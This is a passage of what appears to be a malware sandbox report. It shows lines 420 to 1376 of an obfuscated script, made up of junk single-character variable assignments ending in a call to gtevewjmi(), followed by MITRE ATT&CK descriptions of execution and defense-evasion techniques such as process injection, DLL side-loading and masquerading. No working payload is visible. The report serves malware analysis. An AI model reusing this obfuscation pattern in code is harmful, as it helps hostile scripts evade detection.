420	bzxjbr = "l";
421	bzxjbr = "H";
422	bzxjbr = "I";
423	bzxjbr = "T";
424	bzxjbr = "a";
425	bzxjbr = "K";
426	bzxjbr = "l";
427	bzxjbr = "P";
428	bzxjbr = "o";
429	bzxjbr = "y";
430	bzxjbr = "l";
431	bzxjbr = "f";
432	bzxjbr = "z";
433	bzxjbr = "l";
434	bzxjbr = "C";
435	bzxjbr = "D";
436	bzxjbr = "e";
437	bzxjbr = "A";
438	bzxjbr = "X";
439	bzxjbr = "C";
440	bzxjbr = "d";
441	bzxjbr = "U";
442	bzxjbr = "/";
443	fjblen = "m";
444	fjblen = "p";
445	fjblen = "o";
446	fjblen = "U";
447	fjblen = "K";
448	fjblen = "Q";
449	oocqrbhni = "t";
450	oocqrbhni = "e";
451	oocqrbhni = "O";
452	oocqrbhni = "N";
453	oocqrbhni = "i";
454	oocqrbhni = "l";
455	oocqrbhni = "U";
456	oocqrbhni = "v";
457	oocqrbhni = "\\";
458	wturloktr = "H";
459	wturloktr = "C";
460	wturloktr = "c";
461	wturloktr = "t";
462	wturloktr = "B";
463	wturloktr = "h";
464	wturloktr = "Q";
465	wturloktr = "p";
466	wturloktr = "r";
467	wturloktr = "4";
468	gnudkxif = "z";
469	gnudkxif = "S";
470	gnudkxif = "j";
471	gnudkxif = "C";
472	gnudkxif = "R";
473	gnudkxif = "p";
474	gnudkxif = "O";
475	gnudkxif = "f";
476	gnudkxif = "x";
477	gnudkxif = "F";
478	gnudkxif = "b";
479	gnudkxif = "l";
480	gnudkxif = "G";
481	gnudkxif = "I";
482	gnudkxif = "O";
483	gnudkxif = "a";
484	gnudkxif = "u";
485	gnudkxif = "p";
486	gnudkxif = "a";
487	gnudkxif = "G";
488	gnudkxif = "o";
489	gnudkxif = "p";
490	gnudkxif = "J";
491	gnudkxif = "h";
492	gnudkxif = "O";
493	gnudkxif = "C";
494	gnudkxif = "J";
495	gnudkxif = "H";
496	gnudkxif = "m";
497	gnudkxif = "x";
498	gnudkxif = "r";
499	gnudkxif = "C";
500	gnudkxif = "z";
501	gnudkxif = "Z";
502	gnudkxif = "d";
503	gnudkxif = "Y";
504	gnudkxif = "q";
505	gnudkxif = "Z";
506	gnudkxif = "v";
507	gnudkxif = "f";
508	gmldibex = "J";
509	gmldibex = "R";
510	gmldibex = "o";
511	gmldibex = "N";
512	gmldibex = "e";
513	gmldibex = "G";
514	gmldibex = "r";
515	gmldibex = "U";
516	gmldibex = "X";
517	gmldibex = "z";
518	gmldibex = "R";
519	gmldibex = "-";
520	mwehqsam = "q";
521	mwehqsam = "v";
522	mwehqsam = "Q";
523	mwehqsam = "c";
524	mwehqsam = "C";
525	mwehqsam = "H";
526	mwehqsam = "b";
527	mwehqsam = "b";
528	mwehqsam = "R";
529	mwehqsam = "R";
530	mwehqsam = "J";
531	mwehqsam = "S";
532	mwehqsam = "r";
533	mwehqsam = "y";
534	mwehqsam = "G";
535	mwehqsam = "x";
536	mwehqsam = "F";
537	mwehqsam = "B";
538	mwehqsam = "z";
539	mwehqsam = "e";
540	mwehqsam = "F";
541	nllfkbbs = "i";
542	nllfkbbs = "p";
543	nllfkbbs = "o";
544	nllfkbbs = "W";
545	nllfkbbs = "d";
546	nllfkbbs = "A";
547	nllfkbbs = "C";
548	nllfkbbs = "h";
549	nllfkbbs = "o";
550	nllfkbbs = "O";
551	nllfkbbs = "e";
552	nllfkbbs = "O";
553	nllfkbbs = "G";
554	nllfkbbs = "w";
555	nllfkbbs = "d";
556	nllfkbbs = "k";
557	nllfkbbs = "O";
558	nllfkbbs = "p";
559	nllfkbbs = "W";
560	nllfkbbs = "p";
561	nllfkbbs = "W";
562	pzgigll = "O";
563	pzgigll = "m";
564	pzgigll = "g";
565	pzgigll = "l";
566	pzgigll = "E";
567	pzgigll = "R";
568	pzgigll = "B";
569	pzgigll = "s";
570	pzgigll = "R";
571	pzgigll = "d";
572	pzgigll = "W";
573	pzgigll = "a";
574	pzgigll = "K";
575	pzgigll = "f";
576	pzgigll = "I";
577	pzgigll = "a";
578	pzgigll = "t";
579	pzgigll = "S";
580	pzgigll = "i";
581	pzgigll = "C";
582	pzgigll = "K";
583	pzgigll = "j";
584	pzgigll = "W";
585	pzgigll = "v";
586	pzgigll = "y";
587	pzgigll = "j";
588	pzgigll = "v";
589	pzgigll = "K";
590	pzgigll = "d";
591	pzgigll = "x";
592	pzgigll = "L";
593	pzgigll = "B";
594	pzgigll = "e";
595	pzgigll = "e";
596	pzgigll = "v";
597	pzgigll = "g";
598	pzgigll = "7";
599	najmvm = "w";
600	lyouwdbke = "i";
601	lyouwdbke = "V";
602	lyouwdbke = "D";
603	lyouwdbke = "C";
604	lyouwdbke = "L";
605	lyouwdbke = "t";
606	lyouwdbke = "L";
607	lyouwdbke = "m";
608	lyouwdbke = "M";
609	lyouwdbke = "W";
610	lyouwdbke = "m";
611	lyouwdbke = "f";
612	lyouwdbke = "o";
613	lyouwdbke = "Q";
614	lyouwdbke = "x";
615	lyouwdbke = "T";
616	lyouwdbke = "K";
617	lyouwdbke = "P";
618	lyouwdbke = "v";
619	lyouwdbke = "s";
620	lyouwdbke = "R";
621	lyouwdbke = "W";
622	lyouwdbke = "N";
623	lyouwdbke = "Z";
624	lyouwdbke = "O";
625	lyouwdbke = "s";
626	lyouwdbke = "O";
627	lyouwdbke = "d";
628	lyouwdbke = "F";
629	lyouwdbke = "l";
630	lyouwdbke = "S";
631	lyouwdbke = "I";
632	lyouwdbke = "D";
633	lyouwdbke = "z";
634	lyouwdbke = "Y";
635	lyouwdbke = "L";
636	lyouwdbke = "j";
637	lyouwdbke = "x";
638	lyouwdbke = "a";
639	lyouwdbke = "P";
640	lyouwdbke = "t";
641	eezmj = "Z";
642	eezmj = "q";
643	eezmj = "X";
644	eezmj = "h";
645	eezmj = "p";
646	eezmj = "u";
647	eezmj = "G";
648	eezmj = "P";
649	eezmj = "N";
650	eezmj = "N";
651	eezmj = "R";
652	eezmj = "W";
653	eezmj = "\"";
654	tttdugcwb = "q";
655	tttdugcwb = "Q";
656	tttdugcwb = "s";
657	tttdugcwb = "l";
658	tttdugcwb = "h";
659	tttdugcwb = "c";
660	tttdugcwb = "P";
661	tttdugcwb = "c";
662	tttdugcwb = "b";
663	tttdugcwb = "Q";
664	tttdugcwb = "j";
665	tttdugcwb = "u";
666	tttdugcwb = "P";
667	tttdugcwb = "y";
668	tttdugcwb = "b";
669	tttdugcwb = "J";
670	tttdugcwb = "N";
671	tttdugcwb = "E";
672	tttdugcwb = "l";
673	tttdugcwb = "t";
674	tttdugcwb = "b";
675	tttdugcwb = "t";
676	tttdugcwb = "U";
677	tttdugcwb = "I";
678	tttdugcwb = "M";
679	tttdugcwb = "Y";
680	tttdugcwb = "v";
681	tttdugcwb = "q";
682	tttdugcwb = "Q";
683	tttdugcwb = "F";
684	tttdugcwb = "Y";
685	tttdugcwb = "x";
686	tttdugcwb = "Y";
687	tttdugcwb = "y";
688	tttdugcwb = "O";
689	tttdugcwb = "D";
690	tttdugcwb = "t";
691	tttdugcwb = "h";
692	tttdugcwb = "w";
693	tttdugcwb = "j";
694	tttdugcwb = "F";
695	tttdugcwb = "n";
696	tttdugcwb = "E";
697	vxhuas = "k";
698	vxhuas = "h";
699	vxhuas = "q";
700	vxhuas = "a";
701	vxhuas = "x";
702	vxhuas = "l";
703	vxhuas = "W";
704	vxhuas = "c";
705	vxhuas = "q";
706	vxhuas = "F";
707	vxhuas = "T";
708	vxhuas = "Z";
709	vxhuas = "f";
710	vxhuas = "r";
711	vxhuas = "d";
712	vxhuas = "s";
713	vxhuas = "G";
714	vxhuas = "W";
715	vxhuas = "K";
716	vxhuas = "c";
717	vxhuas = "e";
718	vxhuas = "r";
719	vxhuas = "L";
720	vxhuas = "r";
721	vxhuas = "W";
722	vxhuas = "v";
723	vxhuas = "B";
724	vxhuas = "h";
725	vxhuas = "I";
726	vxhuas = "K";
727	vxhuas = "B";
728	vxhuas = "U";
729	vxhuas = "g";
730	vxhuas = "b";
731	nsqpav = "Q";
732	nsqpav = "U";
733	nsqpav = "6";
734	lngkiqxb = "Z";
735	lngkiqxb = "t";
736	lngkiqxb = "d";
737	lngkiqxb = "j";
738	lngkiqxb = "S";
739	lngkiqxb = "q";
740	lngkiqxb = "L";
741	lngkiqxb = "c";
742	lngkiqxb = "e";
743	lngkiqxb = "5";
744	ppijauk = "l";
745	ppijauk = "S";
746	ppijauk = "s";
747	ppijauk = "R";
748	ppijauk = "O";
749	ppijauk = "e";
750	ppijauk = "d";
751	ppijauk = "q";
752	ppijauk = "F";
753	ppijauk = "e";
754	ppijauk = "h";
755	ppijauk = "D";
756	ppijauk = "A";
757	ppijauk = "U";
758	ppijauk = "D";
759	ppijauk = "V";
760	ppijauk = "x";
761	ppijauk = "X";
762	ppijauk = "j";
763	ppijauk = "T";
764	ppijauk = "L";
765	ppijauk = "L";
766	ppijauk = "m";
767	ppijauk = "G";
768	ppijauk = "f";
769	ppijauk = "a";
770	ppijauk = "d";
771	ppijauk = "@";
772	tyaftkjou = "I";
773	tyaftkjou = "Y";
774	tyaftkjou = "O";
775	tyaftkjou = "z";
776	tyaftkjou = "m";
777	tyaftkjou = "i";
778	tyaftkjou = "b";
779	tyaftkjou = "E";
780	tyaftkjou = "M";
781	tyaftkjou = "H";
782	tyaftkjou = "S";
783	tyaftkjou = "M";
784	tyaftkjou = "o";
785	tyaftkjou = "g";
786	tyaftkjou = "v";
787	tyaftkjou = "y";
788	tyaftkjou = "d";
789	tyaftkjou = "G";
790	tyaftkjou = "N";
791	tyaftkjou = "W";
792	tyaftkjou = "S";
793	tyaftkjou = "h";
794	tyaftkjou = "e";
795	tyaftkjou = "d";
796	wxlpdnn = "Z";
797	wxlpdnn = "E";
798	wxlpdnn = "W";
799	wxlpdnn = "y";
800	wxlpdnn = "E";
801	wxlpdnn = "J";
802	wxlpdnn = "m";
803	wxlpdnn = "d";
804	wxlpdnn = "1";
805	estaqvnt = "t";
806	estaqvnt = "V";
807	estaqvnt = "O";
808	estaqvnt = "Q";
809	estaqvnt = "d";
810	estaqvnt = "Z";
811	estaqvnt = "l";
812	estaqvnt = "o";
813	estaqvnt = "Q";
814	estaqvnt = "A";
815	estaqvnt = "e";
816	estaqvnt = "E";
817	estaqvnt = "U";
818	estaqvnt = "c";
819	estaqvnt = "y";
820	estaqvnt = "f";
821	estaqvnt = "e";
822	estaqvnt = "B";
823	estaqvnt = "y";
824	estaqvnt = "q";
825	estaqvnt = "L";
826	estaqvnt = "d";
827	estaqvnt = "S";
828	estaqvnt = "c";
829	estaqvnt = "d";
830	estaqvnt = "A";
831	estaqvnt = "d";
832	estaqvnt = "U";
833	estaqvnt = "Q";
834	estaqvnt = "U";
835	estaqvnt = "D";
836	estaqvnt = "C";
837	estaqvnt = "G";
838	estaqvnt = "R";
839	estaqvnt = "o";
840	estaqvnt = "u";
841	estaqvnt = "g";
842	estaqvnt = "K";
843	estaqvnt = "J";
844	estaqvnt = "j";
845	estaqvnt = "p";
846	estaqvnt = "Z";
847	estaqvnt = "m";
848	itspc = "%";
849	cotmotnia = "G";
850	cotmotnia = "E";
851	cotmotnia = "Q";
852	cotmotnia = "i";
853	cotmotnia = "Y";
854	cotmotnia = "p";
855	cotmotnia = "x";
856	cotmotnia = "I";
857	cotmotnia = "l";
858	cotmotnia = "L";
859	cotmotnia = "c";
860	cotmotnia = "C";
861	cotmotnia = "r";
862	cotmotnia = "b";
863	cotmotnia = "V";
864	cotmotnia = "q";
865	cotmotnia = "v";
866	cotmotnia = "B";
867	cotmotnia = "k";
868	cotmotnia = "S";
869	cotmotnia = "B";
870	cotmotnia = "G";
871	cotmotnia = "r";
872	cotmotnia = "C";
873	cotmotnia = "O";
874	cotmotnia = "s";
875	cotmotnia = "d";
876	cotmotnia = "m";
877	cotmotnia = "F";
878	cotmotnia = "c";
879	cotmotnia = "X";
880	cotmotnia = "u";
881	cotmotnia = "Z";
882	cotmotnia = "j";
883	pqvio = "v";
884	pqvio = "Y";
885	pqvio = "w";
886	pqvio = "n";
887	pqvio = "p";
888	pqvio = "z";
889	pqvio = "O";
890	pqvio = "O";
891	pqvio = "d";
892	pqvio = "V";
893	pqvio = "r";
894	pqvio = "V";
895	pqvio = "M";
896	pqvio = "Z";
897	pqvio = "L";
898	pqvio = "U";
899	pqvio = "Y";
900	pqvio = "Y";
901	pqvio = "P";
902	pqvio = "Z";
903	pqvio = "d";
904	pqvio = "u";
905	pqvio = "S";
906	pqvio = "F";
907	pqvio = "d";
908	pqvio = "E";
909	pqvio = "q";
910	pqvio = "v";
911	pqvio = "u";
912	pqvio = "W";
913	pqvio = "M";
914	pqvio = "w";
915	pqvio = "S";
916	pqvio = "G";
917	pqvio = "x";
918	pqvio = "D";
919	pqvio = "S";
920	pqvio = "Z";
921	pqvio = "x";
922	pqvio = "p";
923	bhrmpteg = "D";
924	bhrmpteg = "F";
925	bhrmpteg = "f";
926	bhrmpteg = "V";
927	bhrmpteg = "D";
928	bhrmpteg = "S";
929	bhrmpteg = "k";
930	bhrmpteg = "o";
931	bhrmpteg = "T";
932	bhrmpteg = "G";
933	bhrmpteg = "J";
934	bhrmpteg = "h";
935	bhrmpteg = "c";
936	bhrmpteg = "d";
937	bhrmpteg = "T";
938	bhrmpteg = "D";
939	bhrmpteg = "Y";
940	bhrmpteg = "U";
941	bhrmpteg = "T";
942	bhrmpteg = "l";
943	bhrmpteg = "t";
944	bhrmpteg = "t";
945	bhrmpteg = "I";
946	bhrmpteg = "T";
947	bhrmpteg = "X";
948	bhrmpteg = "V";
949	bhrmpteg = "T";
950	bhrmpteg = "W";
951	bhrmpteg = "g";
952	bhrmpteg = "C";
953	bhrmpteg = "U";
954	rbnuspjq = "t";
955	rbnuspjq = "V";
956	rbnuspjq = "S";
957	rbnuspjq = "u";
958	rbnuspjq = "K";
959	rbnuspjq = "s";
960	rbnuspjq = "r";
961	rbnuspjq = "N";
962	rbnuspjq = "O";
963	rbnuspjq = "F";
964	rbnuspjq = "l";
965	rbnuspjq = "H";
966	rbnuspjq = "l";
967	rbnuspjq = "x";
968	rbnuspjq = "X";
969	rbnuspjq = "Z";
970	rbnuspjq = "s";
971	rbnuspjq = "P";
972	rbnuspjq = "F";
973	rbnuspjq = "Z";
974	rbnuspjq = "z";
975	rbnuspjq = "U";
976	rbnuspjq = "B";
977	rbnuspjq = "I";
978	rbnuspjq = "j";
979	rbnuspjq = "Q";
980	rbnuspjq = "i";
981	rbnuspjq = "W";
982	rbnuspjq = "O";
983	fwgjoieu = "G";
984	fwgjoieu = "Q";
985	fwgjoieu = "U";
986	fwgjoieu = "z";
987	fwgjoieu = "j";
988	fwgjoieu = "r";
989	fwgjoieu = "X";
990	fwgjoieu = "H";
991	fwgjoieu = "w";
992	fwgjoieu = "a";
993	fwgjoieu = "D";
994	fwgjoieu = "G";
995	fwgjoieu = "Z";
996	fwgjoieu = "D";
997	fwgjoieu = "o";
998	uvzvnfjdq = "Z";
999	uvzvnfjdq = "r";
1000	uvzvnfjdq = "V";
1001	uvzvnfjdq = "O";
1002	uvzvnfjdq = "O";
1003	uvzvnfjdq = "K";
1004	uvzvnfjdq = "y";
1005	uvzvnfjdq = "w";
1006	uvzvnfjdq = "M";
1007	uvzvnfjdq = "a";
1008	uvzvnfjdq = "k";
1009	uvzvnfjdq = "x";
1010	uvzvnfjdq = "Y";
1011	uvzvnfjdq = "G";
1012	uvzvnfjdq = "X";
1013	uvzvnfjdq = "A";
1014	uvzvnfjdq = "c";
1015	uvzvnfjdq = "8";
1016	wuqomadw = "w";
1017	wuqomadw = "h";
1018	wuqomadw = "c";
1019	jwipyrp = "R";
1020	jwipyrp = "B";
1021	jwipyrp = "S";
1022	jwipyrp = "c";
1023	jwipyrp = "i";
1024	jwipyrp = "g";
1025	jwipyrp = "O";
1026	jwipyrp = "H";
1027	uwljtkqg = "m";
1028	uwljtkqg = "o";
1029	uwljtkqg = "R";
1030	uwljtkqg = "i";
1031	uwljtkqg = "z";
1032	uwljtkqg = "H";
1033	uwljtkqg = "h";
1034	uwljtkqg = "R";
1035	uwljtkqg = "N";
1036	uwljtkqg = "m";
1037	uwljtkqg = "r";
1038	uwljtkqg = "H";
1039	uwljtkqg = "k";
1040	uwljtkqg = "y";
1041	uwljtkqg = "P";
1042	uwljtkqg = "i";
1043	uwljtkqg = "t";
1044	uwljtkqg = "n";
1045	uwljtkqg = "W";
1046	uwljtkqg = "S";
1047	uwljtkqg = "s";
1048	uwljtkqg = "r";
1049	uwljtkqg = "j";
1050	uwljtkqg = "e";
1051	uwljtkqg = "l";
1052	uwljtkqg = "D";
1053	uwljtkqg = "U";
1054	uwljtkqg = "X";
1055	uwljtkqg = "x";
1056	uwljtkqg = "B";
1057	uwljtkqg = "G";
1058	uwljtkqg = "W";
1059	uwljtkqg = "j";
1060	uwljtkqg = "n";
1061	uwljtkqg = "u";
1062	uwljtkqg = "W";
1063	uwljtkqg = "X";
1064	uwljtkqg = "N";
1065	uwljtkqg = "L";
1066	kdkjdznv = "m";
1067	kdkjdznv = "l";
1068	kdkjdznv = "c";
1069	kdkjdznv = "I";
1070	kdkjdznv = "u";
1071	kdkjdznv = "v";
1072	kdkjdznv = "b";
1073	kdkjdznv = "g";
1074	kdkjdznv = "E";
1075	kdkjdznv = "X";
1076	kdkjdznv = "F";
1077	kdkjdznv = "C";
1078	kdkjdznv = "H";
1079	kdkjdznv = "v";
1080	zjccax = "H";
1081	zjccax = "P";
1082	zjccax = "v";
1083	zjccax = "Y";
1084	zjccax = "e";
1085	zjccax = "E";
1086	zjccax = "j";
1087	zjccax = "P";
1088	zjccax = "i";
1089	zjccax = "x";
1090	zjccax = "B";
1091	zjccax = "V";
1092	zjccax = "g";
1093	zjccax = "K";
1094	zjccax = "f";
1095	zjccax = "m";
1096	zjccax = "N";
1097	zjccax = "e";
1098	zjccax = "G";
1099	zjccax = "a";
1100	zjccax = "D";
1101	zjccax = "0";
1102	zerppc = "J";
1103	zerppc = "S";
1104	zerppc = "E";
1105	zerppc = "n";
1106	zerppc = "E";
1107	zerppc = "R";
1108	zerppc = "R";
1109	zerppc = "A";
1110	zerppc = "K";
1111	zerppc = "H";
1112	zerppc = "g";
1113	zerppc = "S";
1114	zerppc = "i";
1115	zerppc = "w";
1116	zerppc = "e";
1117	zerppc = "V";
1118	zerppc = "H";
1119	zerppc = "h";
1120	zerppc = "U";
1121	zerppc = "p";
1122	zerppc = "H";
1123	zerppc = "J";
1124	zerppc = "y";
1125	zerppc = "C";
1126	zerppc = "t";
1127	zerppc = "u";
1128	zerppc = "q";
1129	zerppc = "I";
1130	zerppc = "f";
1131	zerppc = "_";
1132	pwclwvpw = "Q";
1133	pwclwvpw = "M";
1134	pwclwvpw = "D";
1135	pwclwvpw = "J";
1136	pwclwvpw = "R";
1137	pwclwvpw = "d";
1138	pwclwvpw = "f";
1139	pwclwvpw = "k";
1140	pwclwvpw = "X";
1141	pwclwvpw = "Z";
1142	pwclwvpw = "T";
1143	wedxzyut = "D";
1144	wedxzyut = "g";
1145	wedxzyut = "n";
1146	wedxzyut = "K";
1147	wedxzyut = "l";
1148	wedxzyut = "z";
1149	wedxzyut = "F";
1150	wedxzyut = "x";
1151	wedxzyut = "k";
1152	wedxzyut = "w";
1153	wedxzyut = "E";
1154	wedxzyut = "r";
1155	wedxzyut = "w";
1156	wedxzyut = "X";
1157	wedxzyut = "A";
1158	wedxzyut = "h";
1159	wedxzyut = "q";
1160	wedxzyut = "P";
1161	wedxzyut = "k";
1162	wedxzyut = "K";
1163	wedxzyut = "S";
1164	wedxzyut = "v";
1165	wedxzyut = "s";
1166	wedxzyut = "m";
1167	wedxzyut = "d";
1168	wedxzyut = "p";
1169	wedxzyut = " ";
1170	axglpzw = "o";
1171	axglpzw = "s";
1172	axglpzw = "V";
1173	axglpzw = "F";
1174	axglpzw = "O";
1175	axglpzw = "W";
1176	axglpzw = "B";
1177	axglpzw = "k";
1178	axglpzw = "q";
1179	nlmkfmq = "V";
1180	nlmkfmq = "s";
1181	nlmkfmq = "h";
1182	nlmkfmq = "t";
1183	nlmkfmq = "v";
1184	nlmkfmq = "n";
1185	nlmkfmq = "u";
1186	nlmkfmq = "a";
1187	nlmkfmq = "J";
1188	nlmkfmq = "P";
1189	nlmkfmq = "n";
1190	nlmkfmq = "s";
1191	nlmkfmq = "j";
1192	nlmkfmq = "O";
1193	nlmkfmq = "Y";
1194	nlmkfmq = "t";
1195	nlmkfmq = "p";
1196	nlmkfmq = "T";
1197	nlmkfmq = "V";
1198	nlmkfmq = "Q";
1199	nlmkfmq = "r";
1200	nlmkfmq = "k";
1201	nlmkfmq = "o";
1202	nlmkfmq = "m";
1203	nlmkfmq = "c";
1204	nlmkfmq = "y";
1205	nlmkfmq = "o";
1206	nlmkfmq = "y";
1207	nlmkfmq = "A";
1208	nlmkfmq = "u";
1209	nlmkfmq = "2";
1210	zdwgyrd = "k";
1211	zdwgyrd = "V";
1212	zdwgyrd = "u";
1213	zdwgyrd = "Z";
1214	zdwgyrd = "G";
1215	zdwgyrd = "e";
1216	zdwgyrd = "a";
1217	zdwgyrd = "Y";
1218	zdwgyrd = "e";
1219	zdwgyrd = "I";
1220	zdwgyrd = "D";
1221	zdwgyrd = "t";
1222	zdwgyrd = "p";
1223	zdwgyrd = "b";
1224	zdwgyrd = "K";
1225	zdwgyrd = "d";
1226	zdwgyrd = "R";
1227	tveoaq = "g";
1228	tveoaq = "A";
1229	tveoaq = "Y";
1230	tveoaq = "T";
1231	tveoaq = "k";
1232	tveoaq = "T";
1233	tveoaq = "K";
1234	mojpo = "c";
1235	mojpo = "z";
1236	mojpo = "t";
1237	mojpo = "L";
1238	mojpo = "O";
1239	mojpo = "h";
1240	mojpo = "W";
1241	mojpo = "l";
1242	mojpo = "I";
1243	mojpo = "b";
1244	mojpo = "m";
1245	mojpo = "G";
1246	mojpo = "y";
1247	mojpo = "N";
1248	mojpo = "n";
1249	mojpo = ":";
1250	dyaax = "l";
1251	dyaax = "E";
1252	dyaax = "s";
1253	dyaax = "X";
1254	dyaax = "x";
1255	dyaax = "w";
1256	dyaax = "u";
1257	dyaax = "I";
1258	dyaax = "o";
1259	dyaax = "G";
1260	dyaax = "E";
1261	dyaax = "H";
1262	dyaax = "r";
1263	dyaax = "H";
1264	dyaax = "t";
1265	dyaax = "t";
1266	dyaax = "e";
1267	dyaax = "m";
1268	dyaax = "E";
1269	dyaax = "t";
1270	dyaax = "V";
1271	dyaax = "&";
1272	plxaxxegv = "U";
1273	plxaxxegv = "E";
1274	plxaxxegv = "j";
1275	plxaxxegv = "s";
1276	plxaxxegv = "r";
1277	plxaxxegv = "I";
1278	plxaxxegv = "G";
1279	plxaxxegv = "g";
1280	plxaxxegv = "A";
1281	plxaxxegv = "l";
1282	plxaxxegv = "i";
1283	plxaxxegv = "i";
1284	plxaxxegv = "I";
1285	plxaxxegv = "M";
1286	plxaxxegv = "N";
1287	plxaxxegv = "B";
1288	plxaxxegv = "R";
1289	plxaxxegv = "Y";
1290	plxaxxegv = "H";
1291	plxaxxegv = "u";
1292	plxaxxegv = "Q";
1293	plxaxxegv = "h";
1294	plxaxxegv = "o";
1295	plxaxxegv = "a";
1296	jfxhdqasi = "s";
1297	jfxhdqasi = "n";
1298	jfxhdqasi = "C";
1299	jfxhdqasi = "v";
1300	jfxhdqasi = "H";
1301	jfxhdqasi = "i";
1302	jfxhdqasi = "J";
1303	jfxhdqasi = "z";
1304	jfxhdqasi = "K";
1305	jfxhdqasi = "p";
1306	jfxhdqasi = "k";
1307	jfxhdqasi = "R";
1308	jfxhdqasi = "N";
1309	jfxhdqasi = "M";
1310	jfxhdqasi = "v";
1311	jfxhdqasi = "D";
1312	jfxhdqasi = "w";
1313	jfxhdqasi = "d";
1314	jfxhdqasi = "c";
1315	jfxhdqasi = "u";
1316	jfxhdqasi = "o";
1317	jfxhdqasi = "a";
1318	jfxhdqasi = "i";
1319	jfxhdqasi = "I";
1320	jfxhdqasi = "f";
1321	jfxhdqasi = "O";
1322	jfxhdqasi = "F";
1323	jfxhdqasi = "b";
1324	jfxhdqasi = "x";
1325	jfxhdqasi = "S";
1326	jfxhdqasi = "n";
1327	jfxhdqasi = "E";
1328	jfxhdqasi = "h";
1329	jfxhdqasi = "X";
1330	jfxhdqasi = "A";
1331	jfxhdqasi = "J";
1332	jfxhdqasi = "Y";
1333	dzbqmbs = "y";
1334	dzbqmbs = "A";
1335	dzbqmbs = "D";
1336	dzbqmbs = "x";
1337	dzbqmbs = "P";
1338	dzbqmbs = "g";
1339	dzbqmbs = "K";
1340	dzbqmbs = "a";
1341	dzbqmbs = "h";
1342	dzbqmbs = "S";
1343	dzbqmbs = "p";
1344	dzbqmbs = "X";
1345	dzbqmbs = "a";
1346	dzbqmbs = "D";
1347	dzbqmbs = "b";
1348	dzbqmbs = "E";
1349	dzbqmbs = "S";
1350	dzbqmbs = "l";
1351	dzbqmbs = "x";
1352	bzvhvbo = "C";
1353	bzvhvbo = "g";
1354	bzvhvbo = "F";
1355	bzvhvbo = "M";
1356	bzvhvbo = "R";
1357	bzvhvbo = "v";
1358	bzvhvbo = "C";
1359	bzvhvbo = "t";
1360	bzvhvbo = "E";
1361	bzvhvbo = "W";
1362	bzvhvbo = "K";
1363	bzvhvbo = "a";
1364	bzvhvbo = "U";
1365	bzvhvbo = "H";
1366	bzvhvbo = "M";
1367	bzvhvbo = "Q";
1368	bzvhvbo = "h";
1369	jlnsl = "H";
1370	jlnsl = "M";
1371	jlnsl = "D";
1372	jlnsl = "M";
1373	jlnsl = "S";
1374	jlnsl = "C";
1375	nutzsq = "P";
1376	gtevewjmi ( );	gtevewjmi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

